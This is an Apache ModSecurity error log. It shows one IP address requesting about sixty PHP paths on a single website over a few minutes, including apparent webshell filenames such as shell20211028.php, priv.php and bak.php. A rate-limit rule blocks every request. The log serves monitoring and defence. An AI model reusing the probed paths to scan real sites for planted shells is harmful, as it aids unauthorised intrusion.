[Sun Dec 28 20:09:36.927533 2025] [:error] [pid 29388:tid 29400] [client 4.190.188.171:35741] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aVEeANoLv2L2zI_SpdXkaQAAAUQ"]
[Sun Dec 28 20:09:39.024012 2025] [:error] [pid 29437:tid 29479] [client 4.190.188.171:26550] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aVEeAxhDotAbVk6pZLfHpgAAAc0"]
[Sun Dec 28 20:09:41.689478 2025] [:error] [pid 29388:tid 29406] [client 4.190.188.171:26163] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVEeBdoLv2L2zI_SpdXkbAAAAUo"]
[Sun Dec 28 20:09:44.272713 2025] [:error] [pid 29388:tid 29420] [client 4.190.188.171:37328] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVEeCNoLv2L2zI_SpdXkcwAAAVg"]
[Sun Dec 28 20:09:46.407961 2025] [:error] [pid 29437:tid 29478] [client 4.190.188.171:10802] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVEeChhDotAbVk6pZLfHrAAAAcw"]
[Sun Dec 28 20:09:48.448007 2025] [:error] [pid 42293:tid 42335] [client 4.190.188.171:38331] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aVEeDMvc9B-5cwN385LrJAAAAEw"]
[Sun Dec 28 20:09:49.394278 2025] [:error] [pid 42378:tid 42393] [client 4.190.188.171:26132] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aVEeDTgtcN-KHAjWrX8dcQAAAM0"]
[Sun Dec 28 20:09:50.746167 2025] [:error] [pid 42293:tid 42334] [client 4.190.188.171:37349] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aVEeDsvc9B-5cwN385LrJQAAAEs"]
[Sun Dec 28 20:09:53.500361 2025] [:error] [pid 42292:tid 42319] [client 4.190.188.171:33159] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aVEeEZyOrM_vaFx1osZNUAAAABc"]
[Sun Dec 28 20:09:56.045455 2025] [:error] [pid 29437:tid 29484] [client 4.190.188.171:26161] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aVEeFBhDotAbVk6pZLfHrwAAAdI"]
[Sun Dec 28 20:10:00.508536 2025] [:error] [pid 42294:tid 42363] [client 4.190.188.171:30546] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEeGNTE5kYcYCOzl9HA3QAAAI0"]
[Sun Dec 28 20:10:03.325272 2025] [:error] [pid 29388:tid 29409] [client 4.190.188.171:36289] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEeG9oLv2L2zI_SpdXkewAAAU0"]
[Sun Dec 28 20:10:06.458528 2025] [:error] [pid 29436:tid 29443] [client 4.190.188.171:11219] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEeHrchzOOtNL9VPNL0XgAAAYQ"]
[Sun Dec 28 20:10:06.818738 2025] [:error] [pid 29437:tid 29489] [client 4.190.188.171:26073] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEeHhhDotAbVk6pZLfHtwAAAdc"]
[Sun Dec 28 20:10:07.400228 2025] [:error] [pid 42294:tid 42370] [client 4.190.188.171:11221] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin2.php"] [unique_id "aVEeH9TE5kYcYCOzl9HA5AAAAJQ"]
[Sun Dec 28 20:10:10.065742 2025] [:error] [pid 29436:tid 29455] [client 4.190.188.171:26072] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin2.php"] [unique_id "aVEeIrchzOOtNL9VPNL0YwAAAZA"]
[Sun Dec 28 20:10:13.310178 2025] [:error] [pid 29436:tid 29440] [client 4.190.188.171:11223] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin2.php"] [unique_id "aVEeJbchzOOtNL9VPNL0ZwAAAYE"]
[Sun Dec 28 20:10:16.036464 2025] [:error] [pid 43789:tid 43811] [client 4.190.188.171:27287] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin2.php"] [unique_id "aVEeKAa-tUppni4CcCY2-AAAARQ"]
[Sun Dec 28 20:10:18.846525 2025] [:error] [pid 42293:tid 42324] [client 4.190.188.171:26110] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aVEeKsvc9B-5cwN385LrOgAAAEE"]
[Sun Dec 28 20:10:22.037284 2025] [:error] [pid 29437:tid 29473] [client 4.190.188.171:31722] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aVEeLhhDotAbVk6pZLfHwgAAAcc"]
[Sun Dec 28 20:10:24.888428 2025] [:error] [pid 42293:tid 42343] [client 4.190.188.171:26483] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "aVEeMMvc9B-5cwN385LrQgAAAFQ"]
[Sun Dec 28 20:10:34.559307 2025] [:error] [pid 42293:tid 42334] [client 4.190.188.171:26462] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signup.php"] [unique_id "aVEeOsvc9B-5cwN385LrZAAAAEs"]
[Sun Dec 28 20:10:37.137820 2025] [:error] [pid 29437:tid 29473] [client 4.190.188.171:32635] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signup.php"] [unique_id "aVEePRhDotAbVk6pZLfHzQAAAcc"]
[Sun Dec 28 20:10:39.436570 2025] [:error] [pid 42378:tid 42383] [client 4.190.188.171:25771] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signup.php"] [unique_id "aVEePzgtcN-KHAjWrX8dgAAAAMM"]
[Sun Dec 28 20:10:40.389051 2025] [:error] [pid 29436:tid 29454] [client 4.190.188.171:26835] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signup.php"] [unique_id "aVEeQLchzOOtNL9VPNL0dwAAAY8"]
[Sun Dec 28 20:10:45.380335 2025] [:error] [pid 43789:tid 43791] [client 4.190.188.171:10930] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aVEeRQa-tUppni4CcCY3AQAAAQA"]
[Sun Dec 28 20:10:48.525383 2025] [:error] [pid 42293:tid 42332] [client 4.190.188.171:25735] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aVEeSMvc9B-5cwN385LragAAAEk"]
[Sun Dec 28 20:10:59.505860 2025] [:error] [pid 29436:tid 29450] [client 4.190.188.171:32630] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aVEeU7chzOOtNL9VPNL0hAAAAYs"]
[Sun Dec 28 20:11:04.235679 2025] [:error] [pid 29437:tid 29477] [client 4.190.188.171:36020] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aVEeWBhDotAbVk6pZLfH5gAAAcs"]
[Sun Dec 28 20:11:06.022973 2025] [:error] [pid 29437:tid 29487] [client 4.190.188.171:25788] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aVEeWhhDotAbVk6pZLfH6gAAAdU"]
[Sun Dec 28 20:11:08.059171 2025] [:error] [pid 43789:tid 43793] [client 4.190.188.171:11252] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "aVEeXAa-tUppni4CcCY3BwAAAQI"]
[Sun Dec 28 20:11:10.962478 2025] [:error] [pid 42292:tid 42320] [client 4.190.188.171:31742] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aVEeXpyOrM_vaFx1osZNegAAABg"]
[Sun Dec 28 20:11:13.952653 2025] [:error] [pid 42293:tid 42339] [client 4.190.188.171:11240] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aVEeYcvc9B-5cwN385LrgQAAAFA"]
[Sun Dec 28 20:11:16.241790 2025] [:error] [pid 29437:tid 29489] [client 4.190.188.171:11263] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aVEeZBhDotAbVk6pZLfH8AAAAdc"]
[Sun Dec 28 20:11:20.250281 2025] [:error] [pid 29437:tid 29475] [client 4.190.188.171:30573] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aVEeaBhDotAbVk6pZLfH8gAAAck"]
[Sun Dec 28 20:11:24.788021 2025] [:error] [pid 29437:tid 29467] [client 4.190.188.171:30590] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aVEebBhDotAbVk6pZLfH9wAAAcE"]
[Sun Dec 28 20:11:29.948011 2025] [:error] [pid 29388:tid 29399] [client 4.190.188.171:11208] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aVEecdoLv2L2zI_SpdXknAAAAUM"]
[Sun Dec 28 20:11:33.350583 2025] [:error] [pid 29436:tid 29446] [client 4.190.188.171:37058] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system_log.php"] [unique_id "aVEedbchzOOtNL9VPNL0mAAAAYc"]
[Sun Dec 28 20:11:46.679250 2025] [:error] [pid 43789:tid 43799] [client 4.190.188.171:11254] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aVEegga-tUppni4CcCY3LQAAAQg"]
[Sun Dec 28 20:11:48.078200 2025] [:error] [pid 42292:tid 42313] [client 4.190.188.171:30650] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aVEehJyOrM_vaFx1osZNhwAAABE"]
[Sun Dec 28 20:11:49.116389 2025] [:error] [pid 29436:tid 29447] [client 4.190.188.171:37657] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aVEehbchzOOtNL9VPNL0ogAAAYg"]
[Sun Dec 28 20:11:50.777032 2025] [:error] [pid 42294:tid 42357] [client 4.190.188.171:37109] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "aVEehtTE5kYcYCOzl9HBOwAAAIc"]
[Sun Dec 28 20:11:52.553926 2025] [:error] [pid 42294:tid 42374] [client 4.190.188.171:26463] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/priv.php"] [unique_id "aVEeiNTE5kYcYCOzl9HBPAAAAJg"]
[Sun Dec 28 20:11:53.624840 2025] [:error] [pid 42293:tid 42334] [client 4.190.188.171:36302] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/priv.php"] [unique_id "aVEeicvc9B-5cwN385LrogAAAEs"]
[Sun Dec 28 20:11:55.427214 2025] [:error] [pid 29436:tid 29449] [client 4.190.188.171:36325] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/priv.php"] [unique_id "aVEei7chzOOtNL9VPNL0qQAAAYo"]
[Sun Dec 28 20:11:57.160443 2025] [:error] [pid 29436:tid 29451] [client 4.190.188.171:30575] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/priv.php"] [unique_id "aVEejbchzOOtNL9VPNL0qgAAAYw"]
[Sun Dec 28 20:11:59.786030 2025] [:error] [pid 43789:tid 43801] [client 4.190.188.171:40135] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allez.php"] [unique_id "aVEejwa-tUppni4CcCY3NQAAAQo"]
[Sun Dec 28 20:12:01.723345 2025] [:error] [pid 42292:tid 42319] [client 4.190.188.171:30620] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allez.php"] [unique_id "aVEekZyOrM_vaFx1osZNkAAAABc"]
[Sun Dec 28 20:12:05.136234 2025] [:error] [pid 29436:tid 29463] [client 4.190.188.171:37680] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allez.php"] [unique_id "aVEelbchzOOtNL9VPNL0rQAAAZg"]
[Sun Dec 28 20:12:08.382569 2025] [:error] [pid 42293:tid 42326] [client 4.190.188.171:36878] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allez.php"] [unique_id "aVEemMvc9B-5cwN385LrqwAAAEM"]
[Sun Dec 28 20:12:10.994246 2025] [:error] [pid 42378:tid 42399] [client 4.190.188.171:36902] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEemjgtcN-KHAjWrX8dlwAAANM"]
[Sun Dec 28 20:12:13.400249 2025] [:error] [pid 42378:tid 42397] [client 4.190.188.171:36332] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEenTgtcN-KHAjWrX8dmwAAANE"]
[Sun Dec 28 20:12:17.287884 2025] [:error] [pid 29436:tid 29445] [client 4.190.188.171:37104] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEeobchzOOtNL9VPNL0uQAAAYY"]
[Sun Dec 28 20:12:17.603175 2025] [:error] [pid 29388:tid 29401] [client 4.190.188.171:30589] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEeodoLv2L2zI_SpdXkswAAAUU"]
[Sun Dec 28 20:12:19.911932 2025] [:error] [pid 29437:tid 29473] [client 4.190.188.171:37082] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/functions.php"] [unique_id "aVEeoxhDotAbVk6pZLfIIgAAAcc"]
[Sun Dec 28 20:12:22.068220 2025] [:error] [pid 29436:tid 29456] [client 4.190.188.171:29809] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/functions.php"] [unique_id "aVEeprchzOOtNL9VPNL0wgAAAZE"]
